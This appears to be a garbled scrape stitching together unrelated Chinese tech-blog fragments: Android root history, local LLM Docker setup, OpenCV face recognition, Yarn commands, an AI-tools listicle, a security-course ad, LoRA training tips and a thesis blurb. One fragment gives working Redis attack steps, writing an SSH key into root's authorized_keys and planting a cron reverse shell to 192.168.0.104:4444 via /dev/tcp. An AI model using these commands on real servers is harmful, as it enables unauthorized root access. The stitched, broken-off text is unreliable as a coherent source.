系统漏洞提权root 远古时期,早期的安卓可以通过某些系统漏洞提取,进而获取 root 权限;在安卓6.0之前,各种一键 root 软件满天飞,比如 kingroot,360 一键root等,他们本质上都是通过系统漏洞来获取特殊权限;在安卓6.0之后,谷歌封堵了大量的漏洞,各种所谓的一键 root 工具全都玩完,随着 Android 系统的进化与完善,这种通过漏洞提权获取 root 的方式已经完全被淘汰了。
原理:早期root方案基本上是通过 SUID 实现的。SUID 是一个特殊的权限位,它的特殊之处在于,如果某个可执行文件设置了这个权限位,某个用户在执行这个文件的之后,启动进程的 uid 会被自动切换为文件所有者的 uid。
打个比方,假设我有个文件名叫 su,它的所有者是 root,其他进程有其可执行权限;如果没有设置 SUID,那么某个进程比如 uid 为 10000,在执行这文件之后,它启动的进程实际 uid 也是 10000,也就是一个普通进程;而如果这个文件有被设置 SUID 位,那么 uid 为 10000 的用户在执行这个文件之后,所启动的进程 uid 会被自动切换为文件所有者,也就是 root 用户,这个进程就是一个特权进程。
用这种方式实现 root 可谓是非常简单,只需要丢一个 SUID 的文件到系统里面就结束了。然而,Android 5 系统的安全性改进让这种机制退出了历史舞台。
这种机制其实非常简单,就是通过 capabilities 机制,给 zygote 的子进程限制了 CAP_SETUID;而我们的 Android App 都是 zygote 子进程,因此 App 从此与 SUID root 告别了。然而,我们的 shell 用户还是可以 SUID 的;某些系统中自带的 su 还是这种 SUID 的 root,在这种系统中我们会发现,adb shell 可以获取 root 权限,但是 App 进程死活无法获取 root,这时候可以看一下 su 文件是否有 SUID 位,如果有的话就是这个原因。
一、安装Docker 下载链接:https://docs.docker.com/desktop/install/mac-install/
二、安装ollama 1.下载链接:https://ollama.com/download
2.打开终端执行,下载Llama3模型
ollama run llama3 3.安装Enchanted
下载链接:https://github.com/AugustDev/enchanted
三、使用docker安装AnythingLLM 1.拉取镜像,终端执行
docker pull mintplexlabs/anythingllm 2.终端执行,STORAGE_LOCATION路径为自己定义的路径,然后访问:http://localhost:3001/就可以访问anythingLLM了
export STORAGE_LOCATION=/Users/lishihao/linkpath/anythingllm && \ mkdir -p $STORAGE_LOCATION && \ touch "$STORAGE_LOCATION/.env" && \ docker run -d -p 3001:3001 \ --cap-add SYS_ADMIN \ -v ${STORAGE_LOCATION}:/app/server/storage \ -v ${STORAGE_LOCATION}/.env:/app/server/.env \ -e STORAGE_DIR="/app/server/storage" \ mintplexlabs/anythingllm 3.配置ollama
docker启动,所以ollama url要设置成:http://host.docker.internal:11434
OpenCV 入门系列:
OpenCV 入门(一)—— OpenCV 基础
OpenCV 入门(二)—— 车牌定位
OpenCV 入门(三)—— 车牌筛选
OpenCV 入门(四)—— 车牌号识别
OpenCV 入门(五)—— 人脸识别模型训练与 Windows 下的人脸识别
OpenCV 入门(六)—— Android 下的人脸识别
OpenCV 入门(七)—— 身份证识别
本篇我们来介绍在 Android 下如何实现人脸识别。
上一篇我们介绍了如何在 Windows 下通过 OpenCV 实现人脸识别,实际上,在 Android 下的实现的核心原理是非常相似的,因为 OpenCV 部分的代码改动不大,绝大部分代码可以直接移植到 Android 上。最主要的区别是,Android 摄像头采集图像的代码要复杂一些,而 Windows 下几行代码就搞定了。
目前有四种方式来使用 Android Camera:
Camera1:虽然被 @Deprecated 了,但是很多产品中仍然在使用它,比如一些推流 SDKCamera2:比 Camera1 更灵活,可定制性更强,但是用起来有些麻烦CameraX:Jetpack 组件,封装了 Camera2,通过提供一致且易用的 API 接口来简化相机应用的开发工作NDKCamera:无法兼容低版本 我们会介绍 Camera1 和 CameraX 两种方式。
1、使用 Camera1 进行人脸识别 1.1 开启摄像头 我们将 Camera1 的相关操作封装到 CameraHelper 中:
目录
Yarn是什么?
Mac安装Yarn
使用Homebrew安装Yarn
使用npm安装Yarn
Windows安装Yarn
使用npm安装Yarn
Yarn使用
常用命令:
特殊命令:
Yarn是什么? Yarn是一个流行的包管理工具,用于管理JavaScript项目的依赖关系。无论你是在Mac还是Windows上,都可以按照以下步骤安装和使用Yarn。
Mac安装Yarn 使用Homebrew安装Yarn 打开终端(Terminal)。运行以下命令安装Homebrew(如果尚未安装): /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" 安装Yarn: brew install yarn 使用npm安装Yarn 打开终端。运行以下命令安装Yarn: npm install -g yarn Windows安装Yarn 使用npm安装Yarn 打开命令提示符(Command Prompt)或PowerShell。运行以下命令安装Yarn: npm install -g yarn Yarn使用 常用命令: yarn init:初始化一个新的项目,创建一个 package.json 文件。yarn add <package>:安装一个包,并将其添加到项目的依赖中。yarn add <package> --dev:安装一个包,并将其添加到项目的开发依赖中。yarn remove <package>:从项目中移除一个包。yarn install:安装项目的所有依赖,根据 package.json 文件中的配置进行安装。yarn upgrade:升级项目的依赖包。yarn upgrade <package>:升级指定包的版本。yarn upgrade-interactive:以交互模式升级项目的依赖包。yarn list:列出项目中已安装的所有依赖包。yarn run <script>:运行在 package.json 文件中定义的脚本命令。yarn start:启动项目。yarn build:构建项目。 特殊命令: yarn cache clean:清理 Yarn 的缓存。yarn why <package>:查找一个包的依赖关系,显示为什么某个包被安装。yarn info <package>:获取有关一个包的信息。yarn login:登录到 Yarn 的包存储库。yarn logout:注销当前登录用户。yarn publish:将当前包发布到 Yarn 的包存储库。 Yarn常见问题 安装问题: 安装失败:如果安装Yarn时遇到问题,请确保你的网络连接正常,并且你有足够的权限进行安装。另外,检查你的防火墙或代理设置是否可能影响了安装过程。权限问题:在某些情况下,你可能需要使用管理员权限或root权限来安装Yarn。在类Unix系统中,你可以尝试使用sudo命令来安装Yarn。依赖问题:Yarn的安装可能依赖于其他软件包或工具。确保你已经安装了所有必要的依赖项,例如Node.
好用到哭的10个宝藏网站,,涵盖AI设计、AI写作、AI品牌、AI办公、AI大模型等等多个方面,总有你需要的,话不多说跟着阿强一起来看看吧!
01 uBrand- AI Logo生成器 AI品牌创建平台 | 品牌设计,品牌策划,品牌运营管理 - uBrand利用AI人工智能快速打造专业品牌!uBrand为创业者提供在线品牌设计,AI品牌策划,和智能品牌营销管理的一站式品牌创建平台https://www.ubrand.com/
无论是开店创业还是做自媒体,都需要一个能够代表自己的logo,但是如果在某宝或者红薯上找设计师,很难甄别出是否靠谱,往往是花了大价钱、付出了时间又拿不到满意的logo,这种时候不如把设计权交给自己,在AI时代用AI LOGO生成工具难题就迎刃而解了。
uBrand旗下的AI LOGO生成器,不仅速度快、方案多,而且设计小白也能很快上手,只需要输入Logo名称,点击【一键生成】,就能立刻获取上千个Logo设计方案了,这个过程只需要短短几分钟,相较于交给设计师沟通制作的时间可谓是效率非常高了。
👉点击即可在线编辑Logo:极简字母logo创意生成器 - uBrand
对于喜欢的logo方案还可以在线编辑,调整你喜欢的字体、图标、样式等等,同时uBrand还为大家精选了各类logo案例模板,右上角的气泡框里还有同类型logo的制作方法,跟着步骤说明立刻get到同款logo设计。
同时,uBrand还提供了配套的品牌VI设计服务,包括名片、海报、企业VI等,这个全方位的配套设计,不仅让品牌形象更加一体化,而且直接一站式解决初创品牌设计问题,非常适合预算不够的创业者们!
02 AI设计师-AI商品图工具 直达链接:一站式AI在线设计平台,全场景AI设计工具 - AI设计师
AI设计师是标小智旗下的一站式AI创意设计平台,涵盖AI商品图、VI效果图、头像生成、名片生成器等超多AI设计功能,设计小白也能快速上手各类设计,非常实用的一个工具
在这里主要介绍一下它的AI商品图功能,只需要上传商品图片就能自动帮你抠图去除背景,AI会根据你的产品生成上百种不同的场景布景,选中场景后还可以生成更多风格的商品图,绝对是电商人的福音!
点击图片即可在线编辑,还能随时在左侧更换模板,调整商品的位置和大小。
03 笔灵AI-AI写作工具 打工人写不完的总结,学生族交不完的报告,你是否还在为这些浪费时间,绞尽脑汁?在笔灵AI写作里,无论是工作总结、计划方案、发言讲话、论文写作等等,只要输入简单的要求和描述,就能自动生成各种高质量文稿内容,10秒即刻帮你搞定!
笔灵AI界面操作简单,易上手,不需要过多的专业知识,小白也可以轻松驾驭,选择你需要的场景模板,在上边输入简单的关键词和需求,就能快速帮你完成一篇高质量文章。
而且还可以跟AI一边聊一边解决问题,还有AI 专家对话,可以跟不同领域的 AI 专家提问,解决你的疑惑和问题。
04 AI对话鸭-AI智能对话工具 AI对话鸭是一款AI智能对话工具,聚集了多种国内AI大模型,一次性能于20+AI机器人畅快聊天,还在艰难翻越外网的家人们抓紧目光转向它!
国内 20+大模型0 门槛使用,注册流程简单易懂,操作便捷轻松就上手。只需一个账号,就能与国内20+的AI大模型进行聊天,包括百度文心一言、科大讯飞星火、智谱清言、腾讯-混元等。
而且它还可以多模型同时进行聊天,让它们同时回答你的提问,在众多答案中找到适合你的答复,同时方便你去了解各家的特点优势,节省了很多没必要浪费的时间。
05 Lummi-AI生成无版权图片 我们在做设计图,具有商业推广意图的图片的时候,最担心的就是图片素材侵权的问题了,让很多设计师做起图来束手束脚,除了unsplash、pixel这些无版权图片网站外,其实我们还可以用AI生成的图片来规避版权问题。
Lummi这个网站帮大家集合了各个类型的AI生成的素材图片,风景图、物品图、人物图、背景图等等,点击分类即可快速找到你需要的素材,再也不用担心侵权了。
06 鸠摩搜书-电子书搜索工具 鸠摩搜索是一个专注于电子书的搜索引擎。它通过非人工检索方式自动生成到第三方网站的链接,帮助用户寻找和使用第三方网站上的文档、学习资料、链接及其他所需内容。鸠摩搜索自身不存储、控制编辑或修改被链接的第三方网站上的信息内容或其表现形式。
界面简洁、内容纯净,专业而高效,提供广泛的电子书资源,涵盖各类主流和专业书籍,用户体验良好,页面无广告,搜索简单直接。
能够链接到多种电子书资源,但并不直接存储任何内容,不过对于某些新书或特殊资源,鸠摩搜索可能无法提供搜索结果。
07 AIPPT-AI一键生成PPT AiPPT是一款Ai驱动的PPT在线生成工具。无需复杂操作,只需输入主题AI即可一键生成高质量PPT。支持在线自定义编辑和文档导入生成,配置超10w+定制级模板及素材,助力快速产出专业级PPT。
AI智能一键生成PPT。基于人工智能和自然语言处理技术,能智能理解用户输入的主题,并快速生成符合需求的PPT内容。支持多种文档格式上传生成,快速上传,一键生成。
内置上千套定制级模板。支持一键替换模板样式,内容始终如一,风格千变万化!文件可实时保存,打开网站就能在线编辑,支持在线放映。
08 Peeps Avatar—3D头像生成器 Peeps 是由UI8团队制作的交互式在线3D头像生成器,用户可以在社交资料、社交媒体帖子、设计项目或任何需要友好面孔的地方使用3D头像生成器生成头像。
用户可以自由搭配五官、皮肤、衣服、饰品、背景等,提供了数千种组合和21个现成的头像。 支持一键生成功能,可以随机组合生成不同的头像。
提供丰富的头像制作组合,支持无水印PNG格式文件下载,头像制作效果很不错,用来制作个性3D头像在社交媒体上脱颖而出!
09 灵动AI—AI营销工具 灵动AI是一家专注于提供AI智能设计和营销辅助工具。其核心产品包括AI商品图生成工具,能高效创作高质量商品场景图。
生成式AI技术用于高质量商品场景图的制作,提供专用AI模型和智能审美评价系统,高效数据处理能力,精准解决方案。
30秒内可生成4张高质量商品场景图; 显著降低制作成本和时间; 核心团队来自业界知名科技企业,具有强大的技术背景。
一、网安学习成长路线图 网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网安视频合集 观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
三、精品网安学习书籍 当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包 光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题 最后就是大家最关心的网络安全面试题板块
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化资料的朋友,可以点击这里获取
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
2.1 利用redis写webshell
2.2 利用"公私钥"认证获取root权限
前提:redis是以root身份运行
mkdir /root/.ssh config set dir /root/.ssh config set dbfilename authorized_keys set xxx "\n\n\n本地公钥信息\n\n\n" #"本地公钥信息"替换为自己的公钥信息 save 2.3 crontlab反弹shell
1).攻击者服务器上启动一个监听端口
nc -lvnp 4444
2.)进行写
连接redis,写入反弹shell
redis-cli -h 192.168.0.104 -p 端口 set xxx "\n\n\*/1 \* \* \* \* /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save 2.4redis主从复制rce
原理:
Redis实例设置主从模式的时候,Redis的主机实例就可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,进而进行执行拓展的新命令
两个脚本
提前总结 显卡要好,显存要高素材像素要好,数量越多越好素材不必要的元素越少越好,太多就扣像留白底要好好的打标签,影响最终效果 硬件要求 建议N卡且显卡显存至少8G,显存越高越好(即价格越贵越好);4G需要调整参数,而且速度较慢,不推荐。以下是不同训练分辨率,最低显存要求,图片分辨率越大,显存要求越高: 512×512768×768或更高8G以下使用(容易出现怪图,因为解析度>模型取样值)8G或更高 训练难易度 不同风格的模型训练难易度不相同,原则就是画面越复杂训练越难,排序就是场景>真人lora>动漫二次元
准备训练素材 以下是出图效果更好的比较推荐的取样方式,可按照实际情况酌情增减
取样范围与标准 取样的好坏基本上决定了模型的成功与否,必须严格准备训练素材。在影响因素上面有一个原则:图片质量高于图片数量;
人物
范围举例不同面部表情,越多越好自然,高兴,担心,害怕,恐怕,兴奋,悲伤,疑惑,孤独,忧郁,高冷,厌恶,愤怒,吃惊等不同人物体态,要包含头部,一部分的半身或全身面部特写,半身照,全身照,肖像照,远景,正视图,左视图,右视图,背面,左侧身,右侧身,回头,抬头,俯视不同人物相关元素不同的衣服:裙子,衬衫,大衣,冲锋衣;
不同的发型:短发,长发,披肩,丸子头,马尾辫等 环境因素
不同的灯光:明光,暗光,逆光等复杂灯光;脸部轮廓清晰无遮挡,不能选光线导致脸部看不清的;主体尽量和背景有明显区分,背景纯白色最佳; 画面
分辨率越高越好,手机照片基本能满足要求(分辨率太高会导致训练时间增加);画面不能有模糊抖动,主体清晰可见,特征明显;构图简单,其他元素越少越好(如果背景复杂需要裁剪);减少重复或高度相似的图片,避免过拟合。 数量 数量对结果的影响:
1. 太多需要更多时间准备和更长的训练时间,时间不够相似度不够高;
2. 太少会过拟合,不容易产生变化,描述词一改可能就不像了
以下数量仅供参考,建议按实际情况调整,如果实在是找不到更多的图片,可以使用Stable diffusion自带图像预处理>创建水平翻转副本来提高学习数量。 简单主体人物,动漫,面部等至少15张(少于15张可能导致细节错过,出图人物不像)复杂主体场景,建筑物等100张或以上 创建水平翻转副本来提高学习数量
训练步数 步数指在训练过程中,每张图像被重复训练多少次,类似你为了记住照片元素,需要看照片多少次。训练次数越多,学习度越高,出图细节越明显。但是设置过高会训练过拟合。需要在实际中不断尝试找到适合的值,以下是单张建议值(仅供参考):
通用最少值:10步;二次元:10-16步;写实人物:17-35步;建筑或场景等:至少50步; 训练步数的确定要根据素材总数与总步数来一起确定,通常的公式为:
(训练步数 × 素材总数 × 训练循环数Epoch) / 并行数量Bath size ≤ 训练总步数
LoRA训练总步数在1500至6000步,checkpoint训练总步数:至少30000步
训练完成后,模型文件会保存到设置的输出目录。比如 epoch 训练循环数设置了 5,就会得到 5 个训练好的 LoRA 模型。
图片预处理 裁剪图片 通常为768×768,如果显存足够高需要更高的质量,可以按需增加,建议保持正方形等比例;
A、使用 BIRME 批量裁剪,或者使用汉化离线版
优点:可视化+批量调整裁剪框
缺点:裁剪框固定,无法放大图片裁剪。可能需要用PS之类软件提前裁剪保留区域
也可以使用美图秀秀,支持放大图片裁剪
B、使用Stable diffusion自带图像预处理功能裁剪
优点:AI智能切图,自己切图自己用;妈妈再也不用担心你的学习了,切图傻瓜式;
缺点:可能会切不准
2. 训练集
如果训练素材较少的话,可以将素材拆分为多个训练集分开训练:例如希望出肖像特写,训练素材就需要多放比较近的脸部特写。如果希望是半身,就多放半身,全身一些。
如果是需要照顾任一镜头的模型,需要有合适的配比,高分辨率的素材,更多的素材
3. AI打标签
博主介绍:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;专注大学生毕业设计教育和辅导。
所有项目都配有从入门到精通的基础知识视频课程,学习后应对毕业设计答辩。
项目配有对应开发文档、开题报告、任务书、PPT、论文模版等
项目都录了发布和功能操作演示视频;项目的界面和功能都可以定制,包安装运行!!!
如果需要联系我,可以在CSDN网站查询黄菊华老师
在文章末尾可以获取联系方式
目的和意义 基于PHP后台的微信图书馆借书还书小程序系统设计与实现的目的和意义主要可以概括为以下几个方面:
一、目的
提升借还书效率:传统的图书馆借还书流程通常需要学生亲自前往图书馆,排队等待办理手续,过程繁琐且耗时。通过微信图书馆借书还书小程序,学生可以随时随地查看书籍信息、提交借书申请或进行还书操作,从而大大提高借还书的效率。
简化操作流程:小程序提供简洁明了的界面和便捷的操作方式,用户可以轻松完成借书、还书等操作,无需复杂的步骤和繁琐的填写。
优化资源管理:通过后台管理系统,图书馆可以实时掌握书籍的借阅情况、库存数量等信息,从而更加精准地进行资源管理和调配,避免资源的浪费和短缺。
提供个性化服务:小程序可以根据用户的借阅历史和偏好,推荐相关的书籍资源,为用户提供个性化的服务体验。
二、意义
推动图书馆数字化转型:微信图书馆借书还书小程序作为图书馆数字化转型的一部分,有助于提升图书馆服务的智能化、便捷化水平,推动图书馆管理的现代化进程。
提升用户体验和满意度:小程序提供的便捷借还书服务和个性化推荐功能,能够提升用户的使用体验和满意度,增强用户对图书馆的信任度和归属感。
优化资源利用:通过实时掌握书籍的借阅情况和库存数量,图书馆可以更加精准地进行资源调配和利用,提高资源的利用效率和效益。
促进图书馆服务的创新与发展:小程序的设计与实施为图书馆服务创新提供了新的思路和方向,有助于推动图书馆服务的不断发展和完善。
综上所述,基于PHP后台的微信图书馆借书还书小程序系统设计与实现旨在提升借还书效率、简化操作流程、优化资源管理以及提供个性化服务。其意义在于推动图书馆数字化转型、提升用户体验和满意度、优化资源利用以及促进图书馆服务的创新与发展。这一系统的实现将对提升图书馆服务水平和用户满意度产生积极的影响。
界面效果图